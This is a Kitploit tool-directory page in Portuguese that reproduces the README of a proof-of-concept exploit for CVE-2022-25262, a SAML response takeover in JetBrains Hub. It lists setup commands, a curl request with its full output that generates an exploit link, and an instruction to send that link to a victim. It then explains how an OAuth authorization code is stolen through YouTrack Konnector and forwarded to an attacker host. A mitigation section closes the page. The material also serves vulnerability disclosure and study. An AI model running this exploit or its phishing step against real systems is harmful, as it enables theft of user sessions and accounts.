Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-25262 — PoC + detalhes da vulnerabilidade para CVE-2022-25262 / JetBrains Hub single-click SAML response takeover | Kitploit
Ferramentas/GitHubGitHub/yuriisanin/cve-2022-25262
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAutenticaçãoRed Teaming
GitHubyuriisanin/cve-2022-25262

CVE-2022-25262

PoC + detalhes da vulnerabilidade para CVE-2022-25262 / JetBrains Hub single-click SAML response takeover

Ver Repositório
1756há 4 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2022-25262

PoC + detalhes da vulnerabilidade para CVE-2022-25262 | JetBrains Hub - tomada de resposta SAML com um clique

  • CVE-2022-25262
    • Requisitos
    • Uso
    • Como funciona?
      • Pool de código de autorização para troca "OAuth2 -> SAML"
      • Tomada de código de autorização OAuth2 do YouTrack Konnector (por design)
      • Mitigação

Requisitos

  • JetBrains Hub <2022.1.14434
  • JetBrains Hub configurado como IdP SAML
  • Serviço "YouTrack Konnektor" instalado (incluído com YouTrack)

Uso

Instale e execute:

root@kitploit:~
$ git clone https://github.com/yuriisanin/CVE-2022-25262
$ cd CVE-2022-25262/
$ pip3 install -r requirements.txt
$ python3 exploit.py -h

  usage: exploit.py [-h] [-p P]

  optional arguments:
    -h, --help  mostra esta mensagem de ajuda e sai
    -p P        Porta do Uvicorn
    
# Se você executar o exploit na máquina local, pode ser necessário usar Ngrok ou alternativas.
$ ngrok http 8000

Uso:

  1. Use o endpoint "GET /get-exploit-link" para obter o link do exploit
  2. Envie o link para uma vítima

Parâmetros da consulta:

NomeDescriçãoObrigatório
hub_urlURL da instância Hub alvo✅
issuerEmissor SAML✅
acs_urlURL do serviço de consumidor de afirmação✅
youtrack_urlURL da instância YouTrack conectada ao Hub (obrigatório se o usuário convidado estiver desabilitado)❔

Obter link do exploit:

root@kitploit:~
$ curl -v "http://{exploit-host}/get-exploit-link?hub_url=https://hub.jetbrains.com&issuer=jbs.zendesk.com&acs_url=https://jbs.zendesk.com/access/saml"

* Trying {exploit-host-ip}:80...
* Connected to {exploit-host} ({exploit-host-ip}) port 80 (#0)
> GET /get-exploit-link?hub_url=https://hub.jetbrains.com&issuer=jbs.zendesk.com&acs_url=https://jbs.zendesk.com/access/saml HTTP/1.1
> Host: {exploit-host-ip}
> User-Agent: curl/7.77.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Content-Length: 341
< Content-Type: application/json
< Date: Sat, 30 Apr 2022 19:14:45 GMT
< Server: uvicorn
< 
* Connection #0 to host {exploit-host-ip} left intact

{"exploit_url":"https://hub.jetbrains.com/api/rest/oauth2/auth?client_id=fd6b45e6-4a91-4574-9fcf-ebc6926f6378&response_type=code&scope=Hub+YouTrack+TeamCity+Upsource+fd6b45e6-4a91-4574-9fcf-ebc6926f6378&state=fhdyaaf&access_type=offline&redirectURI=https://konnector.services.jetbrains.com/ring/oauth"}

DEMONSTRAÇÃO:

Demonstração do CVE-2022-25262

Como funciona?

A fraqueza consiste em 2 partes:

  • Uso do pool de código de autorização OAuth2 para o processo de troca "OAuth2 -> SAML".
  • Tomada de código de autorização usando a integração YouTrack Konnector.

Pool de código de autorização para troca "OAuth2 -> SAML"

O IdP SAML funciona como uma extensão do OAuth. Quando um usuário específico deseja fazer login em um provedor de serviço específico, ele passa pelo fluxo de concessão de código de autorização OAuth (solicitações 1-2) e, uma vez obtido o código, ele o retorna ao Hub (solicitação 3). O Hub pega informações sobre o usuário associado ao código e emite uma resposta SAML assinada para o serviço. Embora o IdP SAML use o cliente OAuth2 do Hub (client_id=0-0-0-0-0) para a integração, ele não verifica em nome de qual cliente OAuth o código foi emitido. A única coisa que importa aqui é se o código é válido. Isso pode resultar na tomada da resposta SAML se o atacante encontrar uma maneira de tomar o código de autorização de qualquer cliente OAuth registrado no Hub.

troca-oauth2-saml

Tomada de código de autorização OAuth2 do YouTrack Konnector (por design)

O YouTrack Konnector é um serviço de primeira parte que permite conectar uma instância específica do YouTrack com seu bot do Slack. O serviço recebe o endereço URL de um YouTrack e tanto o id quanto o segredo do cliente OAuth do Konnector (solicitação 1). Em seguida, ele tenta verificar se o URL fornecido aponta para um YouTrack válido chamando vários endpoints da API ("handshake" solicitações 2-3). Se tudo correr bem, o Konnector retornará o URL que permitirá que um usuário específico prossiga com o fluxo de concessão de código OAuth (resposta 1). O URL contém um parâmetro de consulta "state" que ajuda o Konnector a rotear o código de autorização OAuth para o manipulador adequado (instância Hub). Um atacante poderia criar um host com endpoints necessários para o "handshake" e obter um parâmetro "state" que aponte para o host do atacante. Depois disso, um atacante poderia criar um URL de autorização OAuth e enviá-lo a uma vítima. Se a vítima clicar no link e terminar o fluxo OAuth (a vítima precisa ter uma sessão válida no Hub), o serviço Konnector receberá o código e o enviará para o host do atacante (solicitações 4-6).

tomada-de-código-de-autorização-do-slack-service

Mitigação

A equipe do YouTrack adicionou uma verificação que permite o uso de códigos de autorização emitidos para o cliente OAuth "JetBrains Hub Service" durante o processo de troca "OAuth2 -> SAML". Consequentemente, não há como trocar códigos de autorização emitidos para o cliente OAuth "YouTrack Konnector".

Suporte

Você pode me seguir no Twitter, GitHub ou YouTube.

Baixar ferramenta